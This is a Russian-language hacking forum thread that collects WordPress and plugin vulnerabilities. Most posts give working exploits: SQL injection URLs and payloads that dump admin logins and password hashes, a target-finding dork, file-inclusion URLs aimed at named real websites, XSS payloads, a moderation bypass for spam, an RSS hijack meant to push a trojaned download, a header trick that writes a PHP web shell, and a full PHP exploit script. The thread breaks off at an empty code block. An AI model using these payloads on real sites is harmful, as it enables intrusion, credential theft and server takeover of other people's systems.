[ Обзор уязвимостей WordPress ]

Discussion in 'Веб-уязвимости' started by ettee, 5 Oct 2007.

  1. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
     
  2. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода ;)
     
    1 person likes this.
  3. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
    Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
    SQL inj && Code exec && LFI && RFI = is_our_way
     
    1 person likes this.
  4. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability

    I. VULNERABILITY
    -------------------------
    WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
    Vulnerability

    II. BACKGROUND
    -------------------------
    WordPress MU, or multi-user, allows to run unlimited blogs with a
    single install of wordpress. It is most famously used for
    WordPress.com where it serves tens of millions of hits on hundreds of
    thousands of blogs each day. Also is used in many other sites like
    Harvard University and Le Monde.

    III. DESCRIPTION
    -------------------------
    WordPress MU prior to version 2.7 fails to sanitize the Host header
    correctly in choose_primary_blog function and is therefore prune to
    XSS attacks.
    Web Sites running in a name based virtual hosting setup are not
    affected while they are not the default virtual host.

    IV. PROOF OF CONCEPT
    -------------------------
    The snippet of vulnerable code:

    In wp-includes/wpmu-functions.php, concretly in the function
    choose_primary_blog:

    1830 function choose_primary_blog() {
    1831 global $current_user;
    1832 ?>
    1833 <table class="form-table">
    1834 <tr>
    1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
    1836 <td>
    1837 <?php
    1838 $all_blogs = get_blogs_of_user( $current_user->ID );
    1839 if( count( $all_blogs ) > 1 ) {
    1840 $primary_blog = get_usermeta($current_user->ID,
    'primary_blog');
    1841 ?>
    1842 <select name="primary_blog">
    1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
    1844 <option value='<?php echo $blog->userblog_id
    ?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
    selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
    ?></option>
    1845 <?php } ?>
    1846 </select>
    1847 <?php
    1848 } else {
    1849 echo $_SERVER['HTTP_HOST']; <- HERE
    1850 }
    1851 ?>
    1852 </td>
    1853 </tr>
    1854 </table>
    1855 <?php
    1856 }

    The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
    and is possible to inject HTML and script code crafting HTTP Host header:

    PoC:
    $ curl -H "Cookie: my cookies here" -H "Host: <body
    onload=alert(String.fromCharCode(88,83,83))>"
    http://www.example.com/wp-admin/profile.php> tmp.html
    $ firefox tmp.html

    The javascript code will be executed in the context of the victim
    browser, this can be exploited to steal cookies and escalate
    privileges to administrator.

    Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

    V. BUSINESS IMPACT
    -------------------------
    The impact is the attacker can gain administrator privileges on the
    application.

    VI. SYSTEMS AFFECTED
    -------------------------
    Versions prior to 2.7 are affected

    VII. SOLUTION
    -------------------------
    Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
    from http://mu.wordpress.org

    VIII. REFERENCES
    -------------------------
    http://mu.wordpress.org

    IX. CREDITS
    -------------------------
    This vulnerability has been discovered
    by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

    X. REVISION HISTORY
    -------------------------
    December 03, 2008: Initial release
    March 02, 2009: More details added

    XI. DISCLOSURE TIMELINE
    -------------------------
    December 03, 2008: Vendor contacted
    December 03, 2008: MU trunk code fixed
    January 28, 2008: WordPress MU 2.7 released
    March 10, 2009: Vulnerability published by
    Internet Security Auditors (www.isecauditors.com)

    XII. LEGAL NOTICES
    -------------------------
    The information contained within this advisory is supplied "as-is"
    with no warranties or guarantees of fitness of use or otherwise.
    Internet Security Auditors accepts no responsibility for any damage
    caused by the use or misuse of this information.

    #http://milw0rm.com/exploits/8196
     
  5. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    19
    Likes Received:
    14
    Reputations:
    0
    Wordpress Plugin fMoblog Remote SQL Injection Vulnerability

    Code:
    Exploit:
    http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--
    
    Dork: inurl:"Gallery powered by fMoblog"

    http://www.milw0rm.com/exploits/8229
     
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
    wp-lytebox
    http://grupenet.com/2007/08/03/wp-lytebox/
    PHP:
       if(!isset($pg)) {
          include(
    "pages/main.txt");
       } elseif(isset(
    $pg)) {
          include(
    "pages/".$pg.".txt");
       }
    Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
    http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
    http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}


    Кстати /etc/passwd не инклудится вообще)
     
    3 people like this.
  7. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Для коллекции..

    Target: Simple:press Forum v3.1.3 [WP: v2.04 and above]
    Off.page: www.stuff.yellowswordfish.com/simplepress-forum}

    Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1
     
  8. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    WordPress Comments Html Spam Vulnerability

    Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
    ----
    1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)

    Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
    Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
    Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:
    Code:
    function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
    ...
     if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll 
                $uri = parse_url($url); 
                $domain = $uri['host']; 
                $uri = parse_url( get_option('home') ); 
                $home_domain = $uri['host']; 
                if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain ) 
                    return true; 
                else 
                    return false; 
            } 
    ...
    }
    
    Смысл этого кода состоит в том, что:
    1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
    2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
    3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
    В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
    Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
    Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
    Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:
    Code:
    "SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"
    
    Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным :)
    Но и это еще не все!
    Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:
    Code:
     function wp_html_excerpt( $str, $count ) { 
        $str = strip_tags( $str ); 
        $str = mb_strcut( $str, 0, $count ); 
        // remove part of an entity at the end 
        $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); 
        return $str; 
    } 
    
    Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
    1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
    2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
    И вот, исходя из этой информации, можно придумать конечный эксплойт:
    Code:
    <html>
    <form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
    Тайтл: <input name="title" value="commenter"/><br/>
    URL:<input name="url" value="http://%/la.com"/><br/>
    Comment:<input name="excerpt" value=""/><br/>
    <input name="blog_name" value="Blog" /><br/>
    <input type="submit" value="ok"/>
    </form>
    </html>
    
    Где в поле "Comment" вставляем:
    Code:
    < b >< a href="http"//ya.ru">Купить слона< / a >< / b >
    
    В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
    Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.
     
    7 people like this.
  9. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Подмена RSS-фидов в Dashboard

    2. Подмена RSS-фидов в Dashboard (2.5<=WordPress<=2.6.5)

    В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
    Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости "Планеты WordPress".
    Начиная с версии 2.5, к каждому фиду прикреплена кнопочка "Edit", что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).
    Теперь смотри: скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте, естественно, в ссылке на скачку укажи свой протрояненный дистрибутив вордпресса.
    Затем положи свой подготовленный фид на какой-нибудь сервер и используй следующий html-код для подмены рсс-ленты девблога на свою:
    Code:
    <form action="http://lamer.com/wp265/wp-admin/" method="post"> 
    <input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" /> 
    <input name="widget-rss[1][title]" type="text" value="Заголовок рсс" /> 
    <input name="widget-rss[1][items]" value="сколько показывать постов в рсс" /> 
    <input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/> 
    <input name="widget-rss[1][show_author]" type="checkbox" value="1" /> 
    <input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> 
    <input type="hidden" name="widget-rss[1][submit]" value="1" /> 
    <input type='hidden' name='sidebar' value='wp_dashboard' /> 
    <input type='hidden' name='widget_id' value='dashboard_primary' /> 
    <input type='submit' value='Save' /> 
    </form> 
    
    В итоге, ты увидишь на главной странице админки блога свой evil-rss :)
    Ах, да, для использования этой уязвимости необходимы следующие условия:
    1. Открытая регистрация на блоге;
    2. Версии движка от 2.5 до 2.6.5 включительно.
     
  10. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    WordPress Snoopy Remote Code Execution

    3. WordPress Snoopy Remote Code Execution (2.6.3<=WordPress<=2.6.5)

    Теперь настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог:)
    Итак, если ты читал мою статью за январь сего года, то должен знать об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.
    Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:
    А также при сравнении кода Snoopy из WordPress <= 2.6.2:
    Code:
    exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);
    
    с кодом Snoopy из WordPress <= 2.6.5:
    Code:
    exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
    
    Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый :)
    Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.
    Тем не менее, такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку :)
    1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;
    2. Скрипт code-exec.php должен содержать следующий код:
    Code:
    <?php
    header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
    header("Location: https://chto-ugodno.com/?feed=rss2");
    ?>
    
    После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл :)
    Теперь давай разберем, где и почему это работает.
    1. Это работает только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;
    2. Это работает только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php плюс бинарник курла проверяется на существование и исполняемость:
    Code:
    if(!$this->curl_path)
    	return false;
    if(function_exists("is_executable"))
    if (!is_executable($this->curl_path))
    return false;
    
    3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту), во время которой он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. А, как мы можем понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался :)
    4. Это работает не только в кукисах, но и во многих других заголовках, например, мы сможем передать произвольный код в заголовке HOST следующим образом:
    Code:
    <?php
    header("Location: https://lal`my evil command`.com");
    ?>
    
     
  11. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Pingback SQL injection

    4. Pingback SQL Injection (2.x<=WordPress<=2.5.1)

    Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback.
    Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected).
    Итак, для наглядности возьмем подопытный движок за номером 2.3.3.
    Открывай ./wp-includes/post.php и находи в нем такой код:
    Code:
     function add_ping($post_id, $uri) { // Add a URL to those already pung 
        global $wpdb; 
        $pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id"); 
        $pung = trim($pung); 
        $pung = preg_split('/\s/', $pung); 
        $pung[] = $uri; 
        $new = implode("\n", $pung); 
        $new = apply_filters('add_ping', $new); 
        return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id"); 
    }
    
    Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка.
    Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!
    А теперь о способе эксплуатации данной уязвимости. Запасись терпением :)
    Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса:
    1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым:
    Code:
    <a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>
    
    Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2)
    2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши:
    Code:
    test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah
    
    Теперь сохраняй пост.
    Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога
    Code:
    <a href="http://lamer/wp1/?p=2">pingme</a>
    
    Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа :)
     
    1 person likes this.
  12. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Trackback SQL injection

    5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?)

    Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно :)
    Открывай файл ./wp-includes/comment.php и находи в нем такой код:
    Code:
     function do_trackbacks($post_id) { 
    ... 
        $to_ping = get_to_ping($post_id); 
    ... 
        if ( $to_ping ) { 
            foreach ( (array) $to_ping as $tb_ping ) { 
                $tb_ping = trim($tb_ping); 
                if ( !in_array($tb_ping, $pinged) ) { 
                    trackback($tb_ping, $post_title, $excerpt, $post_id); 
                    $pinged[] = $tb_ping; 
                } else { 
                    $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); 
                } 
            } 
        } 
    } 
    
    Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.
    Использовать эту SQL-инъекцию очень просто:
    1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее:
    Code:
    test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah  
    
    2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код;
    3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа :)
     
    2 people like this.
  13. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    get_bookmarks SQL injection

    6. get_bookmarks SQL Injection (2.x<=WordPress<=2.7.1 #в последних версиях уязвимые функции без изменений, но "injection point" link-manager.php залатан от описанного способа#)

    Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права "manage_links".
    Для теста снова возьмем WordPress 2.3.3.
    Итак, открывай ./wp-admin/link-manager.php, в этом файле присутствует следующий код:
    Code:
    get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );
    
    Начиная от этого кода, попробуем провести небольшой реверсинг:
    ./wp-includes/bookmark.php
    Code:
    function get_bookmarks($args = '') {
    ...
    
    	$r = wp_parse_args( $args, $defaults );
    	extract( $r, EXTR_SKIP );
    ...
    	if ( ! empty($category_name) ) {
    		if ( $category = get_term_by('name', $category_name, 'link_category') )
    			$category = $category->term_id;
    	}
    ...
    
    ./wp-includes/formatting.php
    Code:
    function wp_parse_args( $args, $defaults = '' ) {
    	if ( is_object($args) )
    		$r = get_object_vars($args);
    	else if ( is_array( $args ) )
    		$r =& $args;
    	else
    		wp_parse_str( $args, $r );
    
    	if ( is_array( $defaults ) )
    		return array_merge( $defaults, $r );
    	else
    		return $r;
    }
    function wp_parse_str( $string, &$array ) {
    	parse_str( $string, $array );
    	if ( get_magic_quotes_gpc() )
    		$array = stripslashes_deep( $array );
    	$array = apply_filters( 'wp_parse_str', $array );
    }
    
    ./wp-includes/taxonomy.php
    Code:
    function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
    ...
    	} else if ( 'name' == $field ) {
    		// Assume already escaped
    		$field = 't.name';
    ...
    	$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");
    
    На этот раз разработчики WordPress не учли, что:
    1. Функция parse_str проводит свои параметры через urldecode, так что какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
    2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).
    Отсюда, как логичный вывод, следует blind sql-инъекция:
    Code:
    http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+union+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB
    
    Здесь такие условия:
    а) 1=1 - ничего не отображается;
    б) 1=2 - отображается список ссылок блога.
     
    1 person likes this.
  14. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Подмена slug в пермалинке любого поста

    7. Подмена slug в пермалинке любого поста (1.5<=WordPress<=2.7.1)

    Итак, представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world/. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post/. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но вот что это: баг или фича, я не знаю :)
    Для начала давай детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1.
    1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код:
    Code:
    $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
    $comment_id = wp_new_comment( $commentdata );
    
    2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php:
    Code:
    function wp_new_comment( $commentdata ) 
    {
    ...
    	$comment_ID = wp_insert_comment($commentdata);
    ...
    }
    
    3. Там же проводим небольшой реверсинг:
    Code:
    function wp_insert_comment($commentdata) 
    {
    ...
    	if ( $comment_approved == 1)
    		wp_update_comment_count($comment_post_ID);
    
    	return $id;
    }
    function wp_update_comment_count($post_id, $do_deferred=false) 
    {
    ...
    	elseif ( $post_id ) {
    		return wp_update_comment_count_now($post_id);
    	}
    }
    function wp_update_comment_count_now($post_id) 
    {
    ...
    	do_action('edit_post', $post_id, $post);
    	return true;
    }
    
    4. Action edit_post определен в ./wp-includes/default-filters.php
    Code:
    add_action('edit_post', 'wp_check_for_changed_slugs');
    
    5. Находим нужную нам функцию в ./wp-includes/post.php
    Code:
    function wp_check_for_changed_slugs($post_id) {
    	if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
    ...
    	// if we haven't added this old slug before, add it now
    	if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
    		add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
    ...
    }
    
    6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php:
    Code:
    function wp_old_slug_redirect () 
    {
    ...
    		$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
    ...
    		wp_redirect($link, '301'); // Permanent redirect
    		exit;
    	endif;
    }
    
    Из анализа вышеприведенного кода следует вывод: если в бд для определенного поста присутствует значение "_wp_old_slug", то по этому самому значению проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи :) Теперь, наконец-то, готовый эксплойт для нашей шутки:
    Code:
    <html>
    <form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
    Тайтл: <input name="title" value="commenter"/><br/>
    URL:<input name="url" value="http://%/la.com"/><br/>
    Comment:<input name="excerpt" value=""/><br/>
    Slug:<input name="wp-old-slug" value=""/><br/>
    <input name="blog_name" value="Blog" /><br/>
    <input type="submit" value="ok"/>
    </form>
    </html>
    
    В поле "Slug" вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией :)
     
  15. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    wp-app sql injection

    9. wp-app sql injection (2.2<=WordPress<=2.2.3)

    Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений :)
    1. ./wp-includes/atomlib.php
    Code:
    function xml_escape($string)
    {
    	 return str_replace(array('&','"',"'",'<','>'), 
    		array('&','"',''','<','>'), 
    		$string );
    }
    
    2. Эксплойт с правами edit_posts
    Code:
    <?php
    $site='lamer.com';
    $path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
    $user='editor'; //логин на блоге
    $passwd='editor'; //пароль на блоге 
    
    $auth=base64_encode($user.":".$passwd);
    $fp = fsockopen($site, 80, $errno, $errstr, 30);	
    $data='<feed>
        <entry>
            <id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
            <title type="html">test\</title>
            <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>       
        </entry>
    </feed>';
    
    $out = "PUT $path HTTP/1.1\r\n";
    $out .= "Host: $site\r\n";
    $out .= "Content-Type: application/atom+xml\r\n";
    $out .= "Connection: Close\r\n";
    $out .= "User-Agent: Opera\r\n";
    $out .= "Authorization: Basic $auth\r\n";
    $out .= "Content-Length: ".strlen($data)."\r\n\r\n";  
    fwrite($fp, $out.$data);
    fclose($fp);
    ?>
    
     
    #115 devscripts, 27 May 2009
    Last edited: 27 May 2009
  16. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    WordPress curl information disclosure

    8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)

    Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
    Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
    Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание :)
    Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
    1. ./wp-includes/http.php
    Code:
    class WP_Http_Curl {
    	function request($url, $args = array()) {
    		if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
    			curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
    
    Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
    Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:
    Code:
    function wp_remote_get($url, $args = array()) {
    	$objFetchSite = _wp_http_get_object();
    
    	return $objFetchSite->get($url, $args);
    }
    
    2. Функция, приведенная выше, используется в ./wp-includes/functions.php:
    Code:
    function wp_remote_fopen( $uri ) {
    ...
    	$response = wp_remote_get( $uri, $options );
    ...
    }
    
    3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:
    Code:
    function pingback_ping($args) {
    ...
    		$pagelinkedfrom = $args[0];
    		$pagelinkedto   = $args[1];
    ...
    		// Let's check the remote site
    		$linea = wp_remote_fopen( $pagelinkedfrom );
    ...
    
    Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим :)
    Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
    Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
    А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
    1. ./ping1/index.php
    Code:
    <?php
    header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
    header("Location: file:///c:\boot.ini", 302);
    ?>
    
    2. ./ping2/index.php
    Code:
    <a href="http://lamer.com/ping1/?p=2">Ping2</a>
    
    В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:
    Code:
